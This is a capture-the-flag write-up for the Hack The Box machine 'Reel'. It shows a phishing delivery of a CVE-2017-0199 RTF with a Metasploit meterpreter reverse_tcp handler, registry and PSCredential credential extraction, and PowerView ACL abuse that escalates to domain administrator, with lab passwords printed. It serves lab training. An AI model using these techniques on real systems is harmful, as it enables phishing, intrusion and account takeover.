HTB{ Reel }

Nov 10, 2018 | 14 minutes read

Tags: hack the box, active directory, powershell, windows

I thoroughly enjoyed Reel. This type of box is outside of my comfort zone, and I had the opportunity to learn a lot on this one. During my progression through this box, I found a ton of really interesting research involving Derivative Domain Admin and similar techniques that leverage Active Directory trust relationships to eventually become a domain admin. Poring over some of the material for this box introduced me to new folks to follow on twitter, new tools to play with, and new blogs to follow. Overall I think egre55 did a fantastic job on this box. It felt realistic in a way that a lot of boxes miss the mark on.




As usual, we start off with a masscan followed by a targeted nmap.

masscan -e tun0 --ports U:0-65535,0-65535 --rate 700 -oL masscan.
open tcp 445 1541640008
open tcp 135 1541640020
open tcp 21 1541640062
open tcp 593 1541640101
open tcp 25 1541640104
open tcp 139 1541640113
open tcp 49159 1541640138
open tcp 22 1541640155


nmap -sC -sV -oA nmap. -p 445,135,21,593,25,139,49159,22
21/tcp    open  ftp          Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_05-28-18  11:19PM       <DIR>          documents
| ftp-syst: 
|_  SYST: Windows_NT
22/tcp    open  ssh          OpenSSH 7.6 (protocol 2.0)
| ssh-hostkey: 
|   2048 82:20:c3:bd:16:cb:a2:9c:88:87:1d:6c:15:59:ed:ed (RSA)
|   256 23:2b:b8:0a:8c:1c:f4:4d:8d:7e:5e:64:58:80:33:45 (ECDSA)
|_  256 ac:8b:de:25:1d:b7:d8:38:38:9b:9c:16:bf:f6:3f:ed (ED25519)
25/tcp    open  smtp?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, X11Probe: 
|     220 Mail Service ready
|   FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest: 
|     220 Mail Service ready
|   Hello: 
|     220 Mail Service ready
|     EHLO Invalid domain address.
|   Help: 
|     220 Mail Service ready
|   SIPOptions: 
|     220 Mail Service ready
| smtp-commands: LOCALHOST, SIZE 20480000, AUTH LOGIN PLAIN, HELP, 
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2012 R2 Standard 9600 microsoft-ds (workgroup: HTB)
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49159/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: REEL; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6s, deviation: 2s, median: 4s
| smb-os-discovery: 
|   OS: Windows Server 2012 R2 Standard 9600 (Windows Server 2012 R2 Standard 6.3)
|   OS CPE: cpe:/o:microsoft:windows_server_2012::-
|   Computer name: REEL
|   NetBIOS computer name: REEL\x00
|   Domain name: HTB.LOCAL
|   Forest name: HTB.LOCAL
|_  System time: 2018-11-08T01:43:11+00:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2018-11-07 19:43:10
|_  start_date: 2018-11-05 00:24:35

Initial Access

ftp Download

Seeing that the ftp server accepts anonymous connections, we can do a quick pull of all available files.

wget -r Event Forwarding.docx


Looking at readme.txt, it sounds like our way into the box is probably exploiting a user whom we can reasonably expect is checking their email. The note says that the recipient will be expecting Rich Text Format (RTF) files.
please email me any rtf format procedures - I'll review and convert.

new format / converted documents will be saved here.


There were two word documents on the ftp server. Applocker.docx gives us an indication about some of the protective measures employed by the box. We’ll come back to the other document a little later.
AppLocker procedure to be documented - hash rules for exe, msi and scripts (ps1,vbs,cmd,bat,js) are in effect.


A quick google search turns up what seems to be a likely candidate to generate a malicious RTF for exploitation. Exploit toolkit CVE-2017-0199.

Exploit toolkit CVE-2017-0199 - v4.0 is a handy python script which provides pentesters and security researchers a quick and effective way to test Microsoft Office RCE. It could generate a malicious RTF/PPSX file and deliver metasploit / meterpreter / other payload to victim without any complex configuration.

Let’s go ahead and generate our malicious RTF.

git clone
python /opt/exploits/CVE-2017-0199/ -M gen -t RTF -w /root/htb/reel/Invoice.rtf -u options used:

    -M gen|exp
        gen - generate malicious RTF/PPSX file
    -t RTF|PPSX
        RTF - type of file to be generated
        name of malicious RTF/PPSX file 
    -u URL
        path to an HTA/SCT file. Normally, this should be a domain or 
        IP where this tool is running. For example, (This URL will be included in 
        malicious RTF/PPSX file and will be requested once victim will 
        open malicious RTF file.

CVE-2017-0199 / MSF Fusion

As cool as the above python script undoubtedly is, I was not successful with the above script alone. Similarly, I was not able to get the metasploit module below to work on its own. Fortunately, we’re able to meld the python above with the metasploit module Microsoft Office Word Malicious Hta Execution, to eventually get RCE.

This module creates a malicious RTF file that when opened in versions of Microsoft Word will lead to code execution. … This module was created by reversing a public malware sample.

Let’s get msfconsole setup to handle the callback.

use exploit/windows/fileformat/office_word_hta
set uripath /
set payload windows/meterpreter/reverse_tcp
set lhost tun0
set lport 443
[*] Started reverse TCP handler on 
[+] msf.doc stored at /root/.msf4/local/msf.doc
[*] Using URL:
[*] Local IP:
[*] Server started.

Target Acquisition

Let’s address the elephant in the room. To this point, we’ve done a lot of good setup, but we’re the hacking equivalent of being all dressed up with nowhere to go. Before we can go any further, we need a target. Specifically, we need the email of the person that’s opening up random RTF files all willy-nilly. Let’s take another look at those word documents we found on the ftp server.

Windows Event Forwarding.docx

Word documents are able to store metadata about all kinds of useful information. There are websites that can strip out the metadata on our behalf, but let’s dig in manually instead.

DOCX is the file format for Microsoft Office 2007+. DOCX is nothing more than a zip archive stuffed with primarily xml files. Knowing that, let’s unzip our DOCX files and see what there is to see.

unzip Windows\ Event\ Forwarding.docx
Archive:  Windows Event Forwarding.docx
  inflating: [Content_Types].xml     
  inflating: _rels/.rels             
  inflating: word/_rels/document.xml.rels  
  inflating: word/document.xml       
  inflating: word/theme/theme1.xml   
  inflating: word/settings.xml       
  inflating: word/webSettings.xml    
  inflating: word/stylesWithEffects.xml  
  inflating: docProps/core.xml       
  inflating: word/styles.xml         
  inflating: word/fontTable.xml      
  inflating: docProps/app.xml        

Metadata information is usually stored in the folder docProps. Two or more XML files are stored inside that folder:

  • app.xml - stores metadata information extracted from Word itself
  • core.xml - stores metadata from the document, such as the author name, last time it was printed, etc.

core.xml sounds like a winner, let’s look.

xmllint --format docProps/core.xml
1<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
2<cp:coreProperties xmlns:cp="" xmlns:dc="" xmlns:dcterms="" xmlns:dcmitype="" xmlns:xsi="">
3  <dc:creator></dc:creator>
4  <cp:revision>4</cp:revision>
5  <dcterms:created xsi:type="dcterms:W3CDTF">2017-10-31T18:42:00Z</dcterms:created>
6  <dcterms:modified xsi:type="dcterms:W3CDTF">2017-10-31T18:51:00Z</dcterms:modified>

Success! We have a target email address. We don’t know for sure that this is the RTF opener, but we can determine that relatively easily by sending him an email!

Sending Email with SWAKS

Before we send our email, let’s recap some info. We have our RTF file (Invoice.rtf) generated with Exploit toolkit CVE-2017-0199, our metasploit module running on port 8080, and the email address Let’s put them all to use.

For the times I need a command line SMTP client, I use Swaks - Swiss Army Knife SMTP. It’s robust, yet pretty simple to use. Normally, I would break down the options and arguments used in a new tool, but those used below are (in my opinion) self-explanatory.

swaks --server --to --from --attach /root/htb/reel/Invoice.rtf
=== Trying
=== Connected to
<-  220 Mail Service ready
 -> EHLO kali
<-  250-REEL
<-  250-SIZE 20480000
<-  250 HELP
 -> MAIL FROM:<>
<-  250 OK
 -> RCPT TO:<>
<-  250 OK
 -> DATA
<-  354 OK, send.
 -> Date: Fri, 09 Nov 2018 05:12:23 -0600
 -> To:
 -> From:


 -> NCB9fX19CntcKlxkYXRhc3RvcmUgfQp9Cg==
 -> ------=_MIME_BOUNDARY_000_5848--
 -> .
<-  250 Queued (11.422 seconds)
 -> QUIT
<-  221 goodbye
=== Connection closed with remote host.
[*] Sending stage (179779 bytes) to
[*] Meterpreter session 1 opened ( -> at 2018-11-09 05:12:50 -0600

We’re in! Just to keep the steps straight, here’s a visual of what just happened.


Let’s grab user.txt while we’re here.

meterpreter > cd C:/users/nico/desktop
meterpreter > cat user.txt

Also, we can snag nico’s password by checking the AutoAdminLogon setting from a cmd shell.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
1HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon                              
2    -------------8<-------------                                                       
3    AutoLogonSID    REG_SZ    S-1-5-21-2648318136-3688571242-2924127574-1105                          
4    LastUsedUsername    REG_SZ    nico                                                                
5    DefaultDomainName    REG_SZ    HTB                                                                
6    AutoAdminLogon    REG_DWORD    0x1                                                                
7    DefaultUserName    REG_SZ    nico                                                                 
8    DisableLockWorkstation    REG_DWORD    0x0                                                        
9    DefaultPassword    REG_SZ    4dri@na2017!**                                                       

Why not dig into the AppLocker policy as well and see why our python script wouldn’t work on its own. The python script attempts to drop shell.exe in C:\windows\temp\shell.exe and run it. We can test whether AppLocker allows this behavior with powershell.

get-applockerpolicy -effective | Test-AppLockerPolicy -path C:\windows\temp\shell.exe -user nico              
FilePath                                                               PolicyDecision MatchingRule                              
--------                                                               -------------- ------------                              
C:\windows\temp\shell.exe                                             DeniedByDefault                                           

\o/ - access level: nico

nico to tom

There is an interesting file right beside user.txt on nico’s desktop C:\users\nico\desktop\cred.xml.

<Objs Version="" xmlns="">
  <Obj RefId="0">
    <TN RefId="0">
      <S N="UserName">HTB\Tom</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692</SS>

It definitely looks like something we care about.

PSCredential and Import-CliXml

If we google PSCredential, we arrive at microsoft documentation for PSCredential objects. The docs state that PSCredential objects offer a centralized way to manage usernames, passwords, and credentials. The field we’re concerned with (password obviously!), is of the type SecureString. To get the password from the PSCredential object, we need some PowerShell in our lives.

Thankfully, meterpreter has a powershell extension! It was added a few years ago by OJ Reeves (the same guy that wrote gobuster). We can load the powershell extension and run a PowerShell shell from within meterpreter, what a time to be alive!

1meterpreter > load powershell
2Loading extension powershell...Success.
3meterpreter > powershell_shell 
4PS > 

A few quick PowerShell commands, and we have tom’s password.

PS > $creds = Import-CliXml -path "C:\users\nico\desktop\cred.xml"
PS > $creds.getnetworkcredential().password

If you recall from our nmap scan, this windows box has ssh running.

ssh -l tom
pass:  1ts-mag1c!!!

Microsoft Windows [Version 6.3.9600]                                                                                            
(c) 2013 Microsoft Corporation. All rights reserved.                                                                            

tom@REEL C:\Users\tom>                                                                                                          

\o/ - access level: tom

tom to claire

Poking around tom’s desktop we find some interesting files and folders.

C:\Users\tom\Desktop\AD Audit                                                                                                   
C:\Users\tom\Desktop\AD Audit\BloodHound                                                                                        
C:\Users\tom\Desktop\AD Audit\note.txt                                                                                          
C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors                                                                              
C:\Users\tom\Desktop\AD Audit\BloodHound\PowerView.ps1                                                                          
C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors\acls.csv                                                                     
C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors\BloodHound.bin                                                               
C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors\BloodHound_Old.ps1                                                           
C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors\SharpHound.exe                                                               
C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors\SharpHound.ps1                                                               
C:\Users\tom\Desktop\AD Audit\note.txt

Surprisingly no AD attack paths from user to Domain Admin (using default shortest path query).                                  

Maybe we should re-run Cypher query against other groups we've created.

After some googling, it appears as though we found the results of an Active Directory audit run using the tool Bloodhound.

BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment. Attacks can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to quickly identify. Defenders can use BloodHound to identify and eliminate those same attack paths. Both blue and red teams can use BloodHound to easily gain a deeper understanding of privilege relationships in an Active Directory environment.

The file of note here is acls.csv. According to bloodhound documentation, acls.csv contains abusable Access Control Entries (ACEs) against user and group objects in the domain. That’s exciting, let’s check it out!

We’ll start by looking at entries where the user tom is the PrincipalName, there happens to be just the one.

ObjectName ObjectType ObjectGuid PrincipalName PrincipalType ActiveDirectoryRights

This entry essentially tells us that the tom USER object has the ability to update the owner of the claire USER object. In effect, we can take over claire’s account, allowing us to manipulate the account in any way we choose. We can perform the account takeover by using the PowerView.ps1 script that was conveniently left lying around after the AD audit. Specifically, we’ll use the Set-DomainObjectOwner cmdlet from PowerView.


First up, we’ll import all the functionality housed within PowerView.ps1 by dot-sourcing the script. This will allow us to call any function defined within PowerView.ps1.

PS C:\Users\tom> cd '.\Desktop\AD Audit\BloodHound'                                                                             
PS C:\Users\tom\Desktop\AD Audit\BloodHound> . .\PowerView.ps1                 

Next, we’ll make tom the owner of the claire object by using the aforementioned Set-DomainObjectOwner.

PS C:\Users\tom\Desktop\AD Audit\BloodHound> Set-DomainObjectOwner -Identity claire -OwnerIdentity tom -verbose     

VERBOSE: [Get-DomainSearcher] search base: LDAP://DC=HTB,DC=LOCAL                                                               
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=tom)(name=tom)(displayname=tom))))            
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC=HTB,DC=LOCAL                                                               
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=claire)(name=claire)(displayname=claire))))   
VERBOSE: [Set-DomainObjectOwner] Attempting to set the owner for 'claire' to 'tom'                                              

Finally, we’ll grant All rights on the claire object to tom via Add-DomainObjectAcl.

C:\Users\tom\Desktop\AD Audit\BloodHound> Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -rights All -verbose        

VERBOSE: [Get-DomainSearcher] search base: LDAP://DC=HTB,DC=LOCAL                                                               
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=tom)(name=tom)(displayname=tom))))            
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC=HTB,DC=LOCAL                                                               
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=claire)(name=claire)(displayname=claire))))   
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=Tom Hanson,CN=Users,DC=HTB,DC=LOCAL 'All' on CN=Claire                     
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=Tom Hanson,CN=Users,DC=HTB,DC=LOCAL rights GUID                            
'00000000-0000-0000-0000-000000000000' on CN=Claire Danes,CN=Users,DC=HTB,DC=LOCAL  


Having taken ownership of claire, we can do all sorts of fun things. Let’s keep it simple and just change claire’s password.

Initially working through the password step, if you didn’t use -verbose, it was easy to miss that you weren’t meeting the password compexity requirements. However, a simple keyboard walk of 16 characters will suffice.

PS C:\Users\tom\Desktop\AD Audit\BloodHound> $newpass = ConvertTo-SecureString "1qaz!QAZ2wsx@WSX" -AsPlainText -Force           
PS C:\Users\tom\Desktop\AD Audit\BloodHound> set-domainuserpassword -identity claire -accountpassword $newpass -verbose 

VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'claire'                                              
VERBOSE: [Set-DomainUserPassword] Password for user 'claire' successfully reset                                                 

To ensure that things went as planned, we can ssh into the box as claire using her newly set password.

ssh -l claire
pass: 1qaz!QAZ2wsx@WSX

Microsoft Windows [Version 6.3.9600]                                                                                            
(c) 2013 Microsoft Corporation. All rights reserved.                                                                            

claire@REEL C:\Users\claire>                                                                                                    

\o/ - access level: claire

Note: Logging in as claire is not necessary, I just use it here for demonstrative purposes.

claire to Backup_Admins

With our new access, let’s revisit acls.csv. Similar to when we looked at tom, there is only one entry where claire is the PrincipalName.

ObjectName ObjectType ObjectGuid PrincipalName PrincipalType ActiveDirectoryRights
Backup_Admins@HTB.LOCAL GROUP claire@HTB.LOCAL USER WriteDacl

This entry basically says that claire has the ability to write a new ACE to the target object’s Discretionary Access Control List (DACL). For example, an attacker may write a new ACE to the target object DACL giving the attacker full control of the target object.


To write a new ACE, we first need to grab claire’s password as a PSCredential object and store it for later use.

# Recall earlier we performed the following command
# $newpass = ConvertTo-SecureString "1qaz!QAZ2wsx@WSX" -AsPlainText -Force
$creds = new-object"HTB\claire", $newpass)

Next, we’ll add tom to the Backup_Admins group using Add-DomainGroupMember.

Add-DomainGroupMember -Identity backup_admins -members 'tom' -credential $creds -Verbose                                           

Finally, we grant All rights on the Backup_Admins group to tom by way of Add-ObjectAcl.

Add-ObjectAcl -Rights All -TargetIdentity backup_admins -PrincipalIdentity tom -Credential $creds -verbose                    

Now we can check out tom’s new group membership.

net user tom
Global Group memberships     *Backup_Admins        *Domain Users                                                                
                             *SharePoint_Admins    *MegaBank_Users                                                              
                             *DR_Site              *HelpDesk_Admins                                                             
The command completed successfully.                                                                                             

\o/ - access level: Backup_Admins

Backup_Admins to Administrator

Going back to acls.csv, we see that there are no entries where Backup_Admins is the PrincipalName. This indicates our excellent adventure through Active Directory is at an end. Armed with our new group membership, we can check out some new areas of the filesystem that were previously barred to us, specifically, C:\users\administrator\desktop. When we try to type root.txt, we get an access denied message. However, there is a directory on the desktop named Backup Scripts.

C:\Users\Administrator\Desktop\Backup Scripts                                                                                   
C:\Users\Administrator\Desktop\Backup Scripts\backup.ps1                                                                        
C:\Users\Administrator\Desktop\Backup Scripts\backup1.ps1                                                                       
C:\Users\Administrator\Desktop\Backup Scripts\BackupScript.ps1                                                                  
C:\Users\Administrator\Desktop\Backup Scripts\                                                                  
C:\Users\Administrator\Desktop\Backup Scripts\folders-system-state.txt                                                          
C:\Users\Administrator\Desktop\Backup Scripts\test2.ps1.txt                                                                     

I’ve never been an administrator, but I’ve written my fair share of dirty automation scripts where I jammed a cleartext password into a variable and was off to the races. I know I’m not the only one who’s done this, so administrative scripts are interesting from that point of view. Taking a look through the scripts here, we hit paydirt.

tom@REEL C:\Users\Administrator\Desktop\Backup Scripts>type BackupScript.ps1                                                    
# admin password                                                                                                                

After one final ssh, we’re on as Administrator and can grab root.txt.

ssh -l administrator
pass: Cr4ckMeIfYouC4n!

Microsoft Windows [Version 6.3.9600]                                                                                            
(c) 2013 Microsoft Corporation. All rights reserved.                                                                            

administrator@REEL C:\Users\Administrator>type desktop\root.txt                                                                 

While you’re here, take a look at some of the scripts that egre55 used to create and maintain the box’s functionality. They provide a lot of insight into what’s going on behind the scenes. Digging into each one would be a bit much for this write-up, but I’ll list out the paths of the files I looked at in case you’re interested.


\o/ - access level: Administrator

I hope you enjoyed this write-up, or at least found something useful. Drop me a line on the HTB forums or in chat @ NetSec Focus.


Additional Resources

  1. BloodHound 1.3 – The ACL Attack Path Update
  2. Derivative Domain Admin
  3. Automated Derivative Administrator Search
  4. PowerView.ps1
  5. Abusing Active Directory Permissions with PowerView

comments powered by Disqus